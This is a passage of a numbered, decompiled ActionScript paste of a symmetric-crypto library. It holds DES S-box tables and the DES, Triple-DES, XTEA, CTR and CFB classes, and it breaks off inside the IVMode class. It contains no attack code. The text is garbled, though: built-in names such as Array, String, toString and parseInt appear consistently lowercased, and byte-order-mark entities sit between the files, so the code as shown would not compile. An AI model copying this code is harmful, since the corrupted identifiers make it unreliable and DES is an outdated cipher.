  5212. private static const SP4:array = [8396801, 8321, 8321, 128, 8396928, 0x800081, 0x800001, 8193, 0, 0x802000, 0x802000, 8396929, 129, 0, 0x800080, 0x800001, 1, 0x2000, 0x800000, 8396801, 128, 0x800000, 8193, 8320, 0x800081, 1, 8320, 0x800080, 0x2000, 8396928, 8396929, 129, 0x800080, 0x800001, 0x802000, 8396929, 129, 0, 0, 0x802000, 8320, 0x800080, 0x800081, 1, 8396801, 8321, 8321, 128, 8396929, 129, 1, 0x2000, 0x800001, 8193, 8396928, 0x800081, 8193, 8320, 0x800000, 8396801, 128, 0x800000, 0x2000, 8396928];
  5213.  
  5214. private static const SP5:array = [0x0100, 34078976, 34078720, 0x42000100, 524288, 0x0100, 0x40000000, 34078720, 0x40080100, 524288, 33554688, 0x40080100, 0x42000100, 0x42080000, 524544, 0x40000000, 33554432, 0x40080000, 0x40080000, 0, 0x40000100, 0x42080100, 0x42080100, 33554688, 0x42080000, 0x40000100, 0, 0x42000000, 34078976, 33554432, 0x42000000, 524544, 524288, 0x42000100, 0x0100, 33554432, 0x40000000, 34078720, 0x42000100, 0x40080100, 33554688, 0x40000000, 0x42080000, 34078976, 0x40080100, 0x0100, 33554432, 0x42080000, 0x42080100, 524544, 0x42000000, 0x42080100, 34078720, 0, 0x40080000, 0x42000000, 524544, 33554688, 0x40000100, 524288, 0, 0x40080000, 34078976, 0x40000100];
  5215.  
  5216. private static const SP6:array = [0x20000010, 0x20400000, 0x4000, 541081616, 0x20400000, 16, 541081616, 0x400000, 0x20004000, 4210704, 0x400000, 0x20000010, 0x400010, 0x20004000, 0x20000000, 16400, 0, 0x400010, 0x20004010, 0x4000, 0x404000, 0x20004010, 16, 0x20400010, 0x20400010, 0, 4210704, 0x20404000, 16400, 0x404000, 0x20404000, 0x20000000, 0x20004000, 16, 0x20400010, 0x404000, 541081616, 0x400000, 16400, 0x20000010, 0x400000, 0x20004000, 0x20000000, 16400, 0x20000010, 541081616, 0x404000, 0x20400000, 4210704, 0x20404000, 0, 0x20400010, 16, 0x4000, 0x20400000, 4210704, 0x4000, 0x400010, 0x20004010, 0, 0x20404000, 0x20000000, 0x400010, 0x20004010];
  5217.  
  5218. private static const SP7:array = [0x200000, 69206018, 67110914, 0, 0x0800, 67110914, 2099202, 69208064, 69208066, 0x200000, 0, 67108866, 2, 67108864, 69206018, 2050, 67110912, 2099202, 0x200002, 67110912, 67108866, 69206016, 69208064, 0x200002, 69206016, 0x0800, 2050, 69208066, 0x200800, 2, 67108864, 0x200800, 67108864, 0x200800, 0x200000, 67110914, 67110914, 69206018, 69206018, 2, 0x200002, 67108864, 67110912, 0x200000, 69208064, 2050, 2099202, 69208064, 2050, 67108866, 69208066, 69206016, 0x200800, 0, 2, 69208066, 0, 2099202, 69206016, 0x0800, 67108866, 67110912, 0x0800, 0x200002];
  5219.  
  5220.  
  5221.  
  5222. protected var encKey:array;
  5223.  
  5224. protected var key:ByteArray;
  5225.  
  5226. protected var decKey:array;
  5227.  
  5228.  
  5229.  
  5230. public function DESKey(_arg1:ByteArray){
  5231.  
  5232. this.key = _arg1;
  5233.  
  5234. this.encKey = generateWorkingKey(true, _arg1, 0);
  5235.  
  5236. this.decKey = generateWorkingKey(false, _arg1, 0);
  5237.  
  5238. }
  5239.  
  5240. protected function generateWorkingKey(_arg1:boolean, _arg2:ByteArray, _arg3:uint):array{
  5241.  
  5242. var _local4:array;
  5243.  
  5244. var _local5:ByteArray;
  5245.  
  5246. var _local6:ByteArray;
  5247.  
  5248. var _local7:uint;
  5249.  
  5250. var _local8:uint;
  5251.  
  5252. var _local9:uint;
  5253.  
  5254. var _local10:uint;
  5255.  
  5256. var _local11:uint;
  5257.  
  5258. var _local12:uint;
  5259.  
  5260. var _local13:uint;
  5261.  
  5262. _local4 = [];
  5263.  
  5264. _local5 = new ByteArray();
  5265.  
  5266. _local6 = new ByteArray();
  5267.  
  5268. _local8 = 0;
  5269.  
  5270. while (_local8 < 56) {
  5271.  
  5272. _local7 = pc1[_local8];
  5273.  
  5274. _local5[_local8] = !(((_arg2[(_arg3 + (_local7 >>> 3))] & bytebit[(_local7 & 7)]) == 0));
  5275.  
  5276. _local8++;
  5277.  
  5278. };
  5279.  
  5280. _local9 = 0;
  5281.  
  5282. while (_local9 < 16) {
  5283.  
  5284. if (_arg1){
  5285.  
  5286. _local10 = (_local9 << 1);
  5287.  
  5288. } else {
  5289.  
  5290. _local10 = ((15 - _local9) << 1);
  5291.  
  5292. };
  5293.  
  5294. _local11 = (_local10 + 1);
  5295.  
  5296. _local4[_local10] = (_local4[_local11] = 0);
  5297.  
  5298. _local8 = 0;
  5299.  
  5300. while (_local8 < 28) {
  5301.  
  5302. _local7 = (_local8 + totrot[_local9]);
  5303.  
  5304. if (_local7 < 28){
  5305.  
  5306. _local6[_local8] = _local5[_local7];
  5307.  
  5308. } else {
  5309.  
  5310. _local6[_local8] = _local5[(_local7 - 28)];
  5311.  
  5312. };
  5313.  
  5314. _local8++;
  5315.  
  5316. };
  5317.  
  5318. _local8 = 28;
  5319.  
  5320. while (_local8 < 56) {
  5321.  
  5322. _local7 = (_local8 + totrot[_local9]);
  5323.  
  5324. if (_local7 < 56){
  5325.  
  5326. _local6[_local8] = _local5[_local7];
  5327.  
  5328. } else {
  5329.  
  5330. _local6[_local8] = _local5[(_local7 - 28)];
  5331.  
  5332. };
  5333.  
  5334. _local8++;
  5335.  
  5336. };
  5337.  
  5338. _local8 = 0;
  5339.  
  5340. while (_local8 < 24) {
  5341.  
  5342. if (_local6[pc2[_local8]]){
  5343.  
  5344. _local4[_local10] = (_local4[_local10] | bigbyte[_local8]);
  5345.  
  5346. };
  5347.  
  5348. if (_local6[pc2[(_local8 + 24)]]){
  5349.  
  5350. _local4[_local11] = (_local4[_local11] | bigbyte[_local8]);
  5351.  
  5352. };
  5353.  
  5354. _local8++;
  5355.  
  5356. };
  5357.  
  5358. _local9++;
  5359.  
  5360. };
  5361.  
  5362. _local9 = 0;
  5363.  
  5364. while (_local9 != 32) {
  5365.  
  5366. _local12 = _local4[_local9];
  5367.  
  5368. _local13 = _local4[(_local9 + 1)];
  5369.  
  5370. _local4[_local9] = (((((_local12 & 0xFC0000) << 6) | ((_local12 & 4032) << 10)) | ((_local13 & 0xFC0000) >>> 10)) | ((_local13 & 4032) >>> 6));
  5371.  
  5372. _local4[(_local9 + 1)] = (((((_local12 & 258048) << 12) | ((_local12 & 63) << 16)) | ((_local13 & 258048) >>> 4)) | (_local13 & 63));
  5373.  
  5374. _local9 = (_local9 + 2);
  5375.  
  5376. };
  5377.  
  5378. return (_local4);
  5379.  
  5380. }
  5381.  
  5382. public function encrypt(_arg1:ByteArray, _arg2:uint=0):void{
  5383.  
  5384. desFunc(encKey, _arg1, _arg2, _arg1, _arg2);
  5385.  
  5386. }
  5387.  
  5388. public function decrypt(_arg1:ByteArray, _arg2:uint=0):void{
  5389.  
  5390. desFunc(decKey, _arg1, _arg2, _arg1, _arg2);
  5391.  
  5392. }
  5393.  
  5394. public function dispose():void{
  5395.  
  5396. var _local1:uint;
  5397.  
  5398. _local1 = 0;
  5399.  
  5400. _local1 = 0;
  5401.  
  5402. while (_local1 < encKey.length) {
  5403.  
  5404. encKey[_local1] = 0;
  5405.  
  5406. _local1++;
  5407.  
  5408. };
  5409.  
  5410. _local1 = 0;
  5411.  
  5412. while (_local1 < decKey.length) {
  5413.  
  5414. decKey[_local1] = 0;
  5415.  
  5416. _local1++;
  5417.  
  5418. };
  5419.  
  5420. encKey = null;
  5421.  
  5422. decKey = null;
  5423.  
  5424. _local1 = 0;
  5425.  
  5426. while (_local1 < key.length) {
  5427.  
  5428. key[_local1] = 0;
  5429.  
  5430. _local1++;
  5431.  
  5432. };
  5433.  
  5434. key.length = 0;
  5435.  
  5436. key = null;
  5437.  
  5438. Memory.gc();
  5439.  
  5440. }
  5441.  
  5442. protected function desFunc(_arg1:array, _arg2:ByteArray, _arg3:uint, _arg4:ByteArray, _arg5:uint):void{
  5443.  
  5444. var _local6:uint;
  5445.  
  5446. var _local7:uint;
  5447.  
  5448. var _local8:uint;
  5449.  
  5450. var _local9:uint;
  5451.  
  5452. var _local10:uint;
  5453.  
  5454. _local8 = ((_arg2[(_arg3 + 0)] & 0xFF) << 24);
  5455.  
  5456. _local8 = (_local8 | ((_arg2[(_arg3 + 1)] & 0xFF) << 16));
  5457.  
  5458. _local8 = (_local8 | ((_arg2[(_arg3 + 2)] & 0xFF) << 8));
  5459.  
  5460. _local8 = (_local8 | (_arg2[(_arg3 + 3)] & 0xFF));
  5461.  
  5462. _local7 = ((_arg2[(_arg3 + 4)] & 0xFF) << 24);
  5463.  
  5464. _local7 = (_local7 | ((_arg2[(_arg3 + 5)] & 0xFF) << 16));
  5465.  
  5466. _local7 = (_local7 | ((_arg2[(_arg3 + 6)] & 0xFF) << 8));
  5467.  
  5468. _local7 = (_local7 | (_arg2[(_arg3 + 7)] & 0xFF));
  5469.  
  5470. _local6 = (((_local8 >>> 4) ^ _local7) & 252645135);
  5471.  
  5472. _local7 = (_local7 ^ _local6);
  5473.  
  5474. _local8 = (_local8 ^ (_local6 << 4));
  5475.  
  5476. _local6 = (((_local8 >>> 16) ^ _local7) & 0xFFFF);
  5477.  
  5478. _local7 = (_local7 ^ _local6);
  5479.  
  5480. _local8 = (_local8 ^ (_local6 << 16));
  5481.  
  5482. _local6 = (((_local7 >>> 2) ^ _local8) & 0x33333333);
  5483.  
  5484. _local8 = (_local8 ^ _local6);
  5485.  
  5486. _local7 = (_local7 ^ (_local6 << 2));
  5487.  
  5488. _local6 = (((_local7 >>> 8) ^ _local8) & 0xFF00FF);
  5489.  
  5490. _local8 = (_local8 ^ _local6);
  5491.  
  5492. _local7 = (_local7 ^ (_local6 << 8));
  5493.  
  5494. _local7 = (((_local7 << 1) | ((_local7 >>> 31) & 1)) & 0xFFFFFFFF);
  5495.  
  5496. _local6 = ((_local8 ^ _local7) & 0xAAAAAAAA);
  5497.  
  5498. _local8 = (_local8 ^ _local6);
  5499.  
  5500. _local7 = (_local7 ^ _local6);
  5501.  
  5502. _local8 = (((_local8 << 1) | ((_local8 >>> 31) & 1)) & 0xFFFFFFFF);
  5503.  
  5504. _local9 = 0;
  5505.  
  5506. while (_local9 < 8) {
  5507.  
  5508. _local6 = ((_local7 << 28) | (_local7 >>> 4));
  5509.  
  5510. _local6 = (_local6 ^ _arg1[((_local9 * 4) + 0)]);
  5511.  
  5512. _local10 = SP7[(_local6 & 63)];
  5513.  
  5514. _local10 = (_local10 | SP5[((_local6 >>> 8) & 63)]);
  5515.  
  5516. _local10 = (_local10 | SP3[((_local6 >>> 16) & 63)]);
  5517.  
  5518. _local10 = (_local10 | SP1[((_local6 >>> 24) & 63)]);
  5519.  
  5520. _local6 = (_local7 ^ _arg1[((_local9 * 4) + 1)]);
  5521.  
  5522. _local10 = (_local10 | SP8[(_local6 & 63)]);
  5523.  
  5524. _local10 = (_local10 | SP6[((_local6 >>> 8) & 63)]);
  5525.  
  5526. _local10 = (_local10 | SP4[((_local6 >>> 16) & 63)]);
  5527.  
  5528. _local10 = (_local10 | SP2[((_local6 >>> 24) & 63)]);
  5529.  
  5530. _local8 = (_local8 ^ _local10);
  5531.  
  5532. _local6 = ((_local8 << 28) | (_local8 >>> 4));
  5533.  
  5534. _local6 = (_local6 ^ _arg1[((_local9 * 4) + 2)]);
  5535.  
  5536. _local10 = SP7[(_local6 & 63)];
  5537.  
  5538. _local10 = (_local10 | SP5[((_local6 >>> 8) & 63)]);
  5539.  
  5540. _local10 = (_local10 | SP3[((_local6 >>> 16) & 63)]);
  5541.  
  5542. _local10 = (_local10 | SP1[((_local6 >>> 24) & 63)]);
  5543.  
  5544. _local6 = (_local8 ^ _arg1[((_local9 * 4) + 3)]);
  5545.  
  5546. _local10 = (_local10 | SP8[(_local6 & 63)]);
  5547.  
  5548. _local10 = (_local10 | SP6[((_local6 >>> 8) & 63)]);
  5549.  
  5550. _local10 = (_local10 | SP4[((_local6 >>> 16) & 63)]);
  5551.  
  5552. _local10 = (_local10 | SP2[((_local6 >>> 24) & 63)]);
  5553.  
  5554. _local7 = (_local7 ^ _local10);
  5555.  
  5556. _local9++;
  5557.  
  5558. };
  5559.  
  5560. _local7 = ((_local7 << 31) | (_local7 >>> 1));
  5561.  
  5562. _local6 = ((_local8 ^ _local7) & 0xAAAAAAAA);
  5563.  
  5564. _local8 = (_local8 ^ _local6);
  5565.  
  5566. _local7 = (_local7 ^ _local6);
  5567.  
  5568. _local8 = ((_local8 << 31) | (_local8 >>> 1));
  5569.  
  5570. _local6 = (((_local8 >>> 8) ^ _local7) & 0xFF00FF);
  5571.  
  5572. _local7 = (_local7 ^ _local6);
  5573.  
  5574. _local8 = (_local8 ^ (_local6 << 8));
  5575.  
  5576. _local6 = (((_local8 >>> 2) ^ _local7) & 0x33333333);
  5577.  
  5578. _local7 = (_local7 ^ _local6);
  5579.  
  5580. _local8 = (_local8 ^ (_local6 << 2));
  5581.  
  5582. _local6 = (((_local7 >>> 16) ^ _local8) & 0xFFFF);
  5583.  
  5584. _local8 = (_local8 ^ _local6);
  5585.  
  5586. _local7 = (_local7 ^ (_local6 << 16));
  5587.  
  5588. _local6 = (((_local7 >>> 4) ^ _local8) & 252645135);
  5589.  
  5590. _local8 = (_local8 ^ _local6);
  5591.  
  5592. _local7 = (_local7 ^ (_local6 << 4));
  5593.  
  5594. _arg4[(_arg5 + 0)] = ((_local7 >>> 24) & 0xFF);
  5595.  
  5596. _arg4[(_arg5 + 1)] = ((_local7 >>> 16) & 0xFF);
  5597.  
  5598. _arg4[(_arg5 + 2)] = ((_local7 >>> 8) & 0xFF);
  5599.  
  5600. _arg4[(_arg5 + 3)] = (_local7 & 0xFF);
  5601.  
  5602. _arg4[(_arg5 + 4)] = ((_local8 >>> 24) & 0xFF);
  5603.  
  5604. _arg4[(_arg5 + 5)] = ((_local8 >>> 16) & 0xFF);
  5605.  
  5606. _arg4[(_arg5 + 6)] = ((_local8 >>> 8) & 0xFF);
  5607.  
  5608. _arg4[(_arg5 + 7)] = (_local8 & 0xFF);
  5609.  
  5610. }
  5611.  
  5612. public function tostring():string{
  5613.  
  5614. return ("des");
  5615.  
  5616. }
  5617.  
  5618. public function getBlockSize():uint{
  5619.  
  5620. return (8);
  5621.  
  5622. }
  5623.  
  5624.  
  5625.  
  5626. }
  5627.  
  5628. }//package com.hurlant.crypto.symmetric
  5629.  
  5630. &#65279;package com.hurlant.crypto.symmetric {
  5631.  
  5632. import flash.utils.*;
  5633.  
  5634.  
  5635.  
  5636. public class CTRMode extends IVMode implements IMode {
  5637.  
  5638.  
  5639.  
  5640. public function CTRMode(_arg1:ISymmetricKey, _arg2:IPad=null){
  5641.  
  5642. super(_arg1, _arg2);
  5643.  
  5644. }
  5645.  
  5646. public function tostring():string{
  5647.  
  5648. return ((key.tostring() + "-ctr"));
  5649.  
  5650. }
  5651.  
  5652. private function core(_arg1:ByteArray, _arg2:ByteArray):void{
  5653.  
  5654. var _local3:ByteArray;
  5655.  
  5656. var _local4:ByteArray;
  5657.  
  5658. var _local5:uint;
  5659.  
  5660. var _local6:uint;
  5661.  
  5662. _local3 = new ByteArray();
  5663.  
  5664. _local4 = new ByteArray();
  5665.  
  5666. _local3.writeBytes(_arg2);
  5667.  
  5668. _local5 = 0;
  5669.  
  5670. while (_local5 < _arg1.length) {
  5671.  
  5672. _local4.position = 0;
  5673.  
  5674. _local4.writeBytes(_local3);
  5675.  
  5676. key.encrypt(_local4);
  5677.  
  5678. _local6 = 0;
  5679.  
  5680. while (_local6 < blockSize) {
  5681.  
  5682. _arg1[(_local5 + _local6)] = (_arg1[(_local5 + _local6)] ^ _local4[_local6]);
  5683.  
  5684. _local6++;
  5685.  
  5686. };
  5687.  
  5688. _local6 = (blockSize - 1);
  5689.  
  5690. while (_local6 >= 0) {
  5691.  
  5692. var _local7 = _local3;
  5693.  
  5694. var _local8 = _local6;
  5695.  
  5696. var _local9 = (_local7[_local8] + 1);
  5697.  
  5698. _local7[_local8] = _local9;
  5699.  
  5700. if (_local3[_local6] != 0){
  5701.  
  5702. break;
  5703.  
  5704. };
  5705.  
  5706. _local6--;
  5707.  
  5708. };
  5709.  
  5710. _local5 = (_local5 + blockSize);
  5711.  
  5712. };
  5713.  
  5714. }
  5715.  
  5716. public function decrypt(_arg1:ByteArray):void{
  5717.  
  5718. var _local2:ByteArray;
  5719.  
  5720. _local2 = getIV4d();
  5721.  
  5722. core(_arg1, _local2);
  5723.  
  5724. padding.unpad(_arg1);
  5725.  
  5726. }
  5727.  
  5728. public function encrypt(_arg1:ByteArray):void{
  5729.  
  5730. var _local2:ByteArray;
  5731.  
  5732. padding.pad(_arg1);
  5733.  
  5734. _local2 = getIV4e();
  5735.  
  5736. core(_arg1, _local2);
  5737.  
  5738. }
  5739.  
  5740.  
  5741.  
  5742. }
  5743.  
  5744. }//package com.hurlant.crypto.symmetric
  5745.  
  5746. &#65279;package com.hurlant.crypto.symmetric {
  5747.  
  5748. import flash.utils.*;
  5749.  
  5750. import com.hurlant.util.*;
  5751.  
  5752.  
  5753.  
  5754. public class TripleDESKey extends DESKey {
  5755.  
  5756.  
  5757.  
  5758. protected var decKey2:array;
  5759.  
  5760. protected var decKey3:array;
  5761.  
  5762. protected var encKey2:array;
  5763.  
  5764. protected var encKey3:array;
  5765.  
  5766.  
  5767.  
  5768. public function TripleDESKey(_arg1:ByteArray){
  5769.  
  5770. super(_arg1);
  5771.  
  5772. encKey2 = generateWorkingKey(false, _arg1, 8);
  5773.  
  5774. decKey2 = generateWorkingKey(true, _arg1, 8);
  5775.  
  5776. if (_arg1.length > 16){
  5777.  
  5778. encKey3 = generateWorkingKey(true, _arg1, 16);
  5779.  
  5780. decKey3 = generateWorkingKey(false, _arg1, 16);
  5781.  
  5782. } else {
  5783.  
  5784. encKey3 = encKey;
  5785.  
  5786. decKey3 = decKey;
  5787.  
  5788. };
  5789.  
  5790. }
  5791.  
  5792. override public function decrypt(_arg1:ByteArray, _arg2:uint=0):void{
  5793.  
  5794. desFunc(decKey3, _arg1, _arg2, _arg1, _arg2);
  5795.  
  5796. desFunc(decKey2, _arg1, _arg2, _arg1, _arg2);
  5797.  
  5798. desFunc(decKey, _arg1, _arg2, _arg1, _arg2);
  5799.  
  5800. }
  5801.  
  5802. override public function encrypt(_arg1:ByteArray, _arg2:uint=0):void{
  5803.  
  5804. desFunc(encKey, _arg1, _arg2, _arg1, _arg2);
  5805.  
  5806. desFunc(encKey2, _arg1, _arg2, _arg1, _arg2);
  5807.  
  5808. desFunc(encKey3, _arg1, _arg2, _arg1, _arg2);
  5809.  
  5810. }
  5811.  
  5812. override public function dispose():void{
  5813.  
  5814. var _local1:uint;
  5815.  
  5816. super.dispose();
  5817.  
  5818. _local1 = 0;
  5819.  
  5820. if (encKey2 != null){
  5821.  
  5822. _local1 = 0;
  5823.  
  5824. while (_local1 < encKey2.length) {
  5825.  
  5826. encKey2[_local1] = 0;
  5827.  
  5828. _local1++;
  5829.  
  5830. };
  5831.  
  5832. encKey2 = null;
  5833.  
  5834. };
  5835.  
  5836. if (encKey3 != null){
  5837.  
  5838. _local1 = 0;
  5839.  
  5840. while (_local1 < encKey3.length) {
  5841.  
  5842. encKey3[_local1] = 0;
  5843.  
  5844. _local1++;
  5845.  
  5846. };
  5847.  
  5848. encKey3 = null;
  5849.  
  5850. };
  5851.  
  5852. if (decKey2 != null){
  5853.  
  5854. _local1 = 0;
  5855.  
  5856. while (_local1 < decKey2.length) {
  5857.  
  5858. decKey2[_local1] = 0;
  5859.  
  5860. _local1++;
  5861.  
  5862. };
  5863.  
  5864. decKey2 = null;
  5865.  
  5866. };
  5867.  
  5868. if (decKey3 != null){
  5869.  
  5870. _local1 = 0;
  5871.  
  5872. while (_local1 < decKey3.length) {
  5873.  
  5874. decKey3[_local1] = 0;
  5875.  
  5876. _local1++;
  5877.  
  5878. };
  5879.  
  5880. decKey3 = null;
  5881.  
  5882. };
  5883.  
  5884. Memory.gc();
  5885.  
  5886. }
  5887.  
  5888. override public function tostring():string{
  5889.  
  5890. return ("3des");
  5891.  
  5892. }
  5893.  
  5894.  
  5895.  
  5896. }
  5897.  
  5898. }//package com.hurlant.crypto.symmetric
  5899.  
  5900. &#65279;package com.hurlant.crypto.symmetric {
  5901.  
  5902. import flash.utils.*;
  5903.  
  5904.  
  5905.  
  5906. public class CFBMode extends IVMode implements IMode {
  5907.  
  5908.  
  5909.  
  5910. public function CFBMode(_arg1:ISymmetricKey, _arg2:IPad=null){
  5911.  
  5912. super(_arg1, null);
  5913.  
  5914. }
  5915.  
  5916. public function tostring():string{
  5917.  
  5918. return ((key.tostring() + "-cfb"));
  5919.  
  5920. }
  5921.  
  5922. public function decrypt(_arg1:ByteArray):void{
  5923.  
  5924. var _local2:uint;
  5925.  
  5926. var _local3:ByteArray;
  5927.  
  5928. var _local4:ByteArray;
  5929.  
  5930. var _local5:uint;
  5931.  
  5932. var _local6:uint;
  5933.  
  5934. var _local7:uint;
  5935.  
  5936. _local2 = _arg1.length;
  5937.  
  5938. _local3 = getIV4d();
  5939.  
  5940. _local4 = new ByteArray();
  5941.  
  5942. _local5 = 0;
  5943.  
  5944. while (_local5 < _arg1.length) {
  5945.  
  5946. key.encrypt(_local3);
  5947.  
  5948. _local6 = (((_local5 + blockSize))<_local2) ? blockSize : (_local2 - _local5);
  5949.  
  5950. _local4.position = 0;
  5951.  
  5952. _local4.writeBytes(_arg1, _local5, _local6);
  5953.  
  5954. _local7 = 0;
  5955.  
  5956. while (_local7 < _local6) {
  5957.  
  5958. _arg1[(_local5 + _local7)] = (_arg1[(_local5 + _local7)] ^ _local3[_local7]);
  5959.  
  5960. _local7++;
  5961.  
  5962. };
  5963.  
  5964. _local3.position = 0;
  5965.  
  5966. _local3.writeBytes(_local4);
  5967.  
  5968. _local5 = (_local5 + blockSize);
  5969.  
  5970. };
  5971.  
  5972. }
  5973.  
  5974. public function encrypt(_arg1:ByteArray):void{
  5975.  
  5976. var _local2:uint;
  5977.  
  5978. var _local3:ByteArray;
  5979.  
  5980. var _local4:uint;
  5981.  
  5982. var _local5:uint;
  5983.  
  5984. var _local6:uint;
  5985.  
  5986. _local2 = _arg1.length;
  5987.  
  5988. _local3 = getIV4e();
  5989.  
  5990. _local4 = 0;
  5991.  
  5992. while (_local4 < _arg1.length) {
  5993.  
  5994. key.encrypt(_local3);
  5995.  
  5996. _local5 = (((_local4 + blockSize))<_local2) ? blockSize : (_local2 - _local4);
  5997.  
  5998. _local6 = 0;
  5999.  
  6000. while (_local6 < _local5) {
  6001.  
  6002. _arg1[(_local4 + _local6)] = (_arg1[(_local4 + _local6)] ^ _local3[_local6]);
  6003.  
  6004. _local6++;
  6005.  
  6006. };
  6007.  
  6008. _local3.position = 0;
  6009.  
  6010. _local3.writeBytes(_arg1, _local4, _local5);
  6011.  
  6012. _local4 = (_local4 + blockSize);
  6013.  
  6014. };
  6015.  
  6016. }
  6017.  
  6018.  
  6019.  
  6020. }
  6021.  
  6022. }//package com.hurlant.crypto.symmetric
  6023.  
  6024. &#65279;package com.hurlant.crypto.symmetric {
  6025.  
  6026. import flash.utils.*;
  6027.  
  6028. import com.hurlant.crypto.prng.*;
  6029.  
  6030. import com.hurlant.util.*;
  6031.  
  6032.  
  6033.  
  6034. public class XTeaKey implements ISymmetricKey {
  6035.  
  6036.  
  6037.  
  6038. public const NUM_ROUNDS:uint = 64;
  6039.  
  6040.  
  6041.  
  6042. private var k:array;
  6043.  
  6044.  
  6045.  
  6046. public function XTeaKey(_arg1:ByteArray){
  6047.  
  6048. _arg1.position = 0;
  6049.  
  6050. k = [_arg1.readUnsignedInt(), _arg1.readUnsignedInt(), _arg1.readUnsignedInt(), _arg1.readUnsignedInt()];
  6051.  
  6052. }
  6053.  
  6054. public static function parseKey(_arg1:string):XTeaKey{
  6055.  
  6056. var _local2:ByteArray;
  6057.  
  6058. _local2 = new ByteArray();
  6059.  
  6060. _local2.writeUnsignedInt(parseint(_arg1.substr(0, 8), 16));
  6061.  
  6062. _local2.writeUnsignedInt(parseint(_arg1.substr(8, 8), 16));
  6063.  
  6064. _local2.writeUnsignedInt(parseint(_arg1.substr(16, 8), 16));
  6065.  
  6066. _local2.writeUnsignedInt(parseint(_arg1.substr(24, 8), 16));
  6067.  
  6068. _local2.position = 0;
  6069.  
  6070. return (new XTeaKey(_local2));
  6071.  
  6072. }
  6073.  
  6074.  
  6075.  
  6076. public function dispose():void{
  6077.  
  6078. var _local1:random;
  6079.  
  6080. var _local2:uint;
  6081.  
  6082. _local1 = new random();
  6083.  
  6084. _local2 = 0;
  6085.  
  6086. while (_local2 < k.length) {
  6087.  
  6088. k[_local2] = _local1.nextByte();
  6089.  
  6090. delete k[_local2];
  6091.  
  6092. _local2++;
  6093.  
  6094. };
  6095.  
  6096. k = null;
  6097.  
  6098. Memory.gc();
  6099.  
  6100. }
  6101.  
  6102. public function encrypt(_arg1:ByteArray, _arg2:uint=0):void{
  6103.  
  6104. var _local3:uint;
  6105.  
  6106. var _local4:uint;
  6107.  
  6108. var _local5:uint;
  6109.  
  6110. var _local6:uint;
  6111.  
  6112. var _local7:uint;
  6113.  
  6114. _arg1.position = _arg2;
  6115.  
  6116. _local3 = _arg1.readUnsignedInt();
  6117.  
  6118. _local4 = _arg1.readUnsignedInt();
  6119.  
  6120. _local6 = 0;
  6121.  
  6122. _local7 = 2654435769;
  6123.  
  6124. _local5 = 0;
  6125.  
  6126. while (_local5 < NUM_ROUNDS) {
  6127.  
  6128. _local3 = (_local3 + ((((_local4 << 4) ^ (_local4 >> 5)) + _local4) ^ (_local6 + k[(_local6 & 3)])));
  6129.  
  6130. _local6 = (_local6 + _local7);
  6131.  
  6132. _local4 = (_local4 + ((((_local3 << 4) ^ (_local3 >> 5)) + _local3) ^ (_local6 + k[((_local6 >> 11) & 3)])));
  6133.  
  6134. _local5++;
  6135.  
  6136. };
  6137.  
  6138. _arg1.position = (_arg1.position - 8);
  6139.  
  6140. _arg1.writeUnsignedInt(_local3);
  6141.  
  6142. _arg1.writeUnsignedInt(_local4);
  6143.  
  6144. }
  6145.  
  6146. public function decrypt(_arg1:ByteArray, _arg2:uint=0):void{
  6147.  
  6148. var _local3:uint;
  6149.  
  6150. var _local4:uint;
  6151.  
  6152. var _local5:uint;
  6153.  
  6154. var _local6:uint;
  6155.  
  6156. var _local7:uint;
  6157.  
  6158. _arg1.position = _arg2;
  6159.  
  6160. _local3 = _arg1.readUnsignedInt();
  6161.  
  6162. _local4 = _arg1.readUnsignedInt();
  6163.  
  6164. _local6 = 2654435769;
  6165.  
  6166. _local7 = (_local6 * NUM_ROUNDS);
  6167.  
  6168. _local5 = 0;
  6169.  
  6170. while (_local5 < NUM_ROUNDS) {
  6171.  
  6172. _local4 = (_local4 - ((((_local3 << 4) ^ (_local3 >> 5)) + _local3) ^ (_local7 + k[((_local7 >> 11) & 3)])));
  6173.  
  6174. _local7 = (_local7 - _local6);
  6175.  
  6176. _local3 = (_local3 - ((((_local4 << 4) ^ (_local4 >> 5)) + _local4) ^ (_local7 + k[(_local7 & 3)])));
  6177.  
  6178. _local5++;
  6179.  
  6180. };
  6181.  
  6182. _arg1.position = (_arg1.position - 8);
  6183.  
  6184. _arg1.writeUnsignedInt(_local3);
  6185.  
  6186. _arg1.writeUnsignedInt(_local4);
  6187.  
  6188. }
  6189.  
  6190. public function tostring():string{
  6191.  
  6192. return ("xtea");
  6193.  
  6194. }
  6195.  
  6196. public function getBlockSize():uint{
  6197.  
  6198. return (8);
  6199.  
  6200. }
  6201.  
  6202.  
  6203.  
  6204. }
  6205.  
  6206. }//package com.hurlant.crypto.symmetric
  6207.  
  6208. &#65279;package com.hurlant.crypto.symmetric {
  6209.  
  6210. import flash.utils.*;
  6211.  
  6212.  
  6213.  
  6214. public interface ISymmetricKey {
  6215.  
  6216.  
  6217.  
  6218. function encrypt(_arg1:ByteArray, _arg2:uint=0):void;
  6219.  
  6220. function dispose():void;
  6221.  
  6222. function getBlockSize():uint;
  6223.  
  6224. function tostring():string;
  6225.  
  6226. function decrypt(_arg1:ByteArray, _arg2:uint=0):void;
  6227.  
  6228.  
  6229.  
  6230. }
  6231.  
  6232. }//package com.hurlant.crypto.symmetric
  6233.  
  6234. &#65279;package com.hurlant.crypto.symmetric {
  6235.  
  6236. import flash.utils.*;
  6237.  
  6238.  
  6239.  
  6240. public interface IPad {
  6241.  
  6242.  
  6243.  
  6244. function pad(_arg1:ByteArray):void;
  6245.  
  6246. function unpad(_arg1:ByteArray):void;
  6247.  
  6248. function setBlockSize(_arg1:uint):void;
  6249.  
  6250.  
  6251.  
  6252. }
  6253.  
  6254. }//package com.hurlant.crypto.symmetric
  6255.  
  6256. &#65279;package com.hurlant.crypto.symmetric {
  6257.  
  6258. import flash.utils.*;
  6259.  
  6260. import com.hurlant.crypto.prng.*;
  6261.  
  6262. import com.hurlant.util.*;
  6263.  
  6264.  
  6265.  
  6266. public class IVMode {
  6267.  
  6268.  
  6269.  
  6270. protected var lastIV:ByteArray;
  6271.  
  6272. protected var iv:ByteArray;
  6273.  
  6274. protected var blockSize:uint;
  6275.  
  6276. protected var padding:IPad;
  6277.  
  6278. protected var prng:random;
  6279.  
  6280. protected var key:ISymmetricKey;
  6281.  
  6282.  
  6283.  
  6284. public function IVMode(_arg1:ISymmetricKey, _arg2:IPad=null){
  6285.  
  6286. this.key = _arg1;
  6287.  
  6288. blockSize = _arg1.getBlockSize();
  6289.  
  6290. if (_arg2 == null){
  6291.  
  6292. _arg2 = new PKCS5(blockSize);
  6293.  
  6294. } else {
  6295.  
  6296. _arg2.setBlockSize(blockSize);
  6297.  
